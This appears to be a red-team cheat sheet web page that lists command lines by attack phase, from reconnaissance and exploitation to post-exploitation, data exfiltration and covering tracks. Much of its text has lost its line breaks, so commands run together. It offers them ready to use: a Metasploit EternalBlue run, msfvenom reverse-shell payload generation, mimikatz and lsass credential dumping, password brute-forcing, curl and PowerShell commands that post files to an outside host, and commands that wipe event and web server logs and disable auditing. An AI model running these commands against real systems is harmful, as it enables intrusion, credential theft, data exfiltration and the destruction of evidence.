This page is a comprehensive reference tool for Red Teamers. It provides a detailed roadmap with 20+ tools and commands per category, organized into the following sections: Reconnaissance and Enumeration: Identify and gather information about the target. Vulnerability Scanning: Detect vulnerabilities in services and systems. Exploitation: Exploit vulnerabilities to gain initial access. Post-Exploitation: Maintain access, escalate privileges, and move laterally. Data Exfiltration: Stealthily extract sensitive data. Covering Tracks: Remove evidence and cover tracks to avoid detection. Each category includes a clear description and practical examples of commands and tools, ready to use in penetration testing and Red Team operations.
Identify and gather information about the target, such as domains, subdomains, IP addresses, exposed services, and potential attack vectors.
nmap -sV -sC -oA scan_result 192.168.1.1recon-ng -m recon/domains-hosts/brute_hostsamass enum -d example.comsublist3r -d example.comshodan host 192.168.1.1theHarvester -d example.com -b alldnsenum example.commasscan 192.168.1.1 -p1-65535 --rate=1000whois example.comdig example.com ANYnetdiscover -i eth0 -r 192.168.1.0/24fierce -dns example.commaltegospiderfoot -laquatone-discover -d example.comassetfinder example.comfindomain -t example.comknockpy example.comcat domains.txt | httprobewaybackurls example.comIdentify vulnerabilities in exposed services and systems.
nessuscli scan --target 192.168.1.1openvas-cli --target 192.168.1.1nikto -h http://example.comzap-cli quick-scan -o -r http://example.comburpsuitewapiti -u http://example.comwpscan --url http://example.comsqlmap -u http://example.com/page?id=1 --dbsxsstrike -u http://example.comdirb http://example.comgobuster dir -u http://example.com -w wordlist.txtnuclei -u http://example.comretire --path /var/www/htmllynis audit systemskipfish -o output http://example.comarachni http://example.comvegaacunetixnetsparkerExploit identified vulnerabilities to gain initial access.
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.1
exploitsqlmap -u http://example.com/page?id=1 --dbscrackmapexec smb 192.168.1.1 -u admin -p passwordhydra -l admin -P passwords.txt ssh://192.168.1.1john --wordlist=passwords.txt hash.txthashcat -m 1000 hash.txt passwords.txtresponder -I eth0python3 smbclient.py -h 192.168.1.1powershell-empireteamserver 192.168.1.1 passwordbeefsetoolkitsearchsploit apache 2.4.29msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o payload.exeveil-evasionshellterInvoke-Mimikatz -DumpCredsmimikatz.exe privilege::debug sekurlsa::logonpasswordsbloodhound-python -d example.com -u user -p passwordMaintain access, escalate privileges, and move laterally within the network.
mimikatz.exe privilege::debug sekurlsa::logonpasswordsInvoke-Mimikatz -DumpCredsbloodhound-python -d example.com -u user -p passwordpowershell-empireteamserver 192.168.1.1 passwordmeterpreter > getuidpsexec \\192.168.1.1 -u admin -p password cmd.exewmic /node:192.168.1.1 process call create "cmd.exe"python3 psexec.py admin:password@192.168.1.1nc -lvp 4444ssh user@192.168.1.1xfreerdp /u:admin /p:password /v:192.168.1.1procdump.exe -ma lsass.exe lsass.dmpsekurlsa::minidump lsass.dmp
sekurlsa::logonpasswordslaZagne.exe allwce.exe -wmeterpreter > hashdumpInvoke-AllChecksInvoke-PrivescCheck -ExtendedExtract sensitive data from the target stealthily.
dnscat2-server --secret=mysecretnc -lvp 4444 > file.txtrclone copy sensitive_data remote:backupscp user@192.168.1.1:/path/to/file .sftp user@192.168.1.1python3 -m http.server 8080ftp 192.168.1.1icmp-exfil -i eth0 -f file.txtdns-exfil -d example.com -f file.txtsendemail -f from@example.com -t to@example.com -u "Subject" -m "Body" -a file.txtaws s3 cp file.txt s3://mybucket/torsocks curl -X POST -d @file.txt http://example.comcadaver http://example.com/webdavssh -L 8080:localhost:80 user@192.168.1.1meterpreter > download file.txtInvoke-WebRequest -Uri http://example.com -Method POST -Body (Get-Content file.txt)base64 file.txtsteghide embed -cf image.jpg -ef file.txtzip -r archive.zip file.txtopenssl enc -aes-256-cbc -salt -in file.txt -out file.encRemove evidence of the attack and cover tracks to avoid detection.
timestomp file.txt -m "01/01/2023 00:00:00"ccleaner.exe /AUTObleachbitshred -u file.txtrm -rf file.txtwevtutil cl Securitydel /f /q C:\Windows\System32\LogFiles\*.*del /f /q C:\inetpub\logs\LogFiles\*.*rm -rf /var/log/apache2/*rm -rf /var/log/nginx/*sysmon -uauditctl -Dnetsh advfirewall resetreg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoorschtasks /delete /tn "Backdoor"rm -rf ~/.ssh/known_hostshistory -cClear-Historymeterpreter > clearev